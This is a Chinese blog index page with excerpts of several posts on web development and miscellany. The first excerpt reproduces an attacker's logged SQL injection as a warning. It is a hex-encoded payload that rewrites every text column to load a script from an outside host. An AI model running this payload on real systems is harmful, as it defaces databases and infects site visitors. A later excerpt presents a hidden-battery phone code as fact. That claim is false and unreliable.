预览模式: 普通 | 列表

【转】SQL注入案例曝光,请大家提高警惕

近日公司网站发现有无聊人进行SQL注入攻击,在这里曝曝光,在鄙视那些无聊之人无聊之举的同时,望大家提高安全意识。

日志记录内容是这样的
Url:/(x(1)a(eq2io1uyygekaaaanwqxmge4ywytzwy5yi00ytbjlwjlmdatotllmtlmodaym2m5lcndikok9dche5rd2s_rxyhp43i1))/production/prodetail.aspx。SQL注入攻击:e7fa47d3-5822-486f-a148-a77b8fd3802f;dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--

简单解说一下,呵呵。

查看更多...

分类:技术楼阁 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 279

断开数据库连接的语句

 use   master   
  go 
 
  declare  @dbname   varchar(200) --要关闭进程的数据库名   
set @dbname='outsourcing'    

查看更多...

分类:技术楼阁 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 310

【转】常用CSS书写技巧 

/*******************************************************************************/
      不同的浏览器,比如Internet Explorer 6,Internet Explorer 7,Mozilla Firefox等,对CSS的解析认识不一样,因此会导致生成的页面效果不一样,得不到我们所需要的页面效果。这个时候我们就需要针对不同的浏览器去写不同的CSS,让它能够同时兼容不同的浏览器,能在不同的浏览器中也能得到我们想要的页面效果。这个针对不同的浏览器写不同的CSS code的过程,就叫CSS hack,也叫写CSS hack。
      由于不同的浏览器对CSS的支持及解析结果不一样,还由于CSS中的优先级的关系。我们就可以根据这个来针对不同的浏览器来写不同的CSS。
      比如 IE6能识别下划线"_"和星号" * ",IE7能识别星号" * ",但不能识别下划线"_",而firefox两个都不能认识。等等
书写顺序,一般是将识别能力强的浏览器的CSS写在后面。下面列举常用的CSS hack方法

查看更多...

分类:技术楼阁 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 242

Jquery1.32选择器的问题

NND,Jquery选择器属性的前导符@已经废弃了,一开始只注意到type前面的,没注意到其他情况下的前导符,导致一个问题还以为是jq的bug,调试了几个小时下去。各位注意了,现在使用选择器的写法稍微变下了,
不是以前的$("input[@type=radion][@checked]").val()了,而是$("input[type=radion][checked]").val()的了,设置选中项目要这么设置才起作用:$('input[type=radio][name="radioName"][value="0"]').attr("checked", true);真是很奇怪的问题。

查看更多...

分类:技术楼阁 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 317

成长的烦恼

作者:泳湿小狗

引子:成长的烦恼 
     
  石头很内向,石头想要一个女朋友。 
     

查看更多...

分类:杂货仓库 | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 342

手机原来隐藏了那么多功能 

1、隐形的备用电池 

  你的手机电量不足了,为了让它能够继续使用,按*3370#键,手机会重新启动,启动完毕后,你就会发现电量增加了50%。这部分隐藏的备用电量用完了你就必须得充电了,再次充电的时候,隐形的备用电池也同时充电,下次电量低的时候又可以用这个方法。知道这个在紧急情况下如果手机电量不足非常管用。 

  2、车用遥控器落在车里了? 

查看更多...

分类:杂货仓库 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 250

SQL注入漏洞安全相关笔记

 

    SQL注入安全隐患的产生从源头上来说,通常都是因为动态SQL语句产生的,即平常所说的拼接SQL语句。所以,以下所说到几个方面都是围绕这个来展开的,给出的一些可能的解决方案也仅仅是尽可能地避免,并不能保证可以根本解决SQL注入安全隐患。对于ASP.NET系统来说,建议使用SqlParameter来传参数,并且尽可能指定SqlDbTypeSize因为它能够帮助过滤一些长度和类型不合法引起的安全隐患。

 

 

SQL注入的途径及解决方法

 

查看更多...

分类:技术楼阁 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 318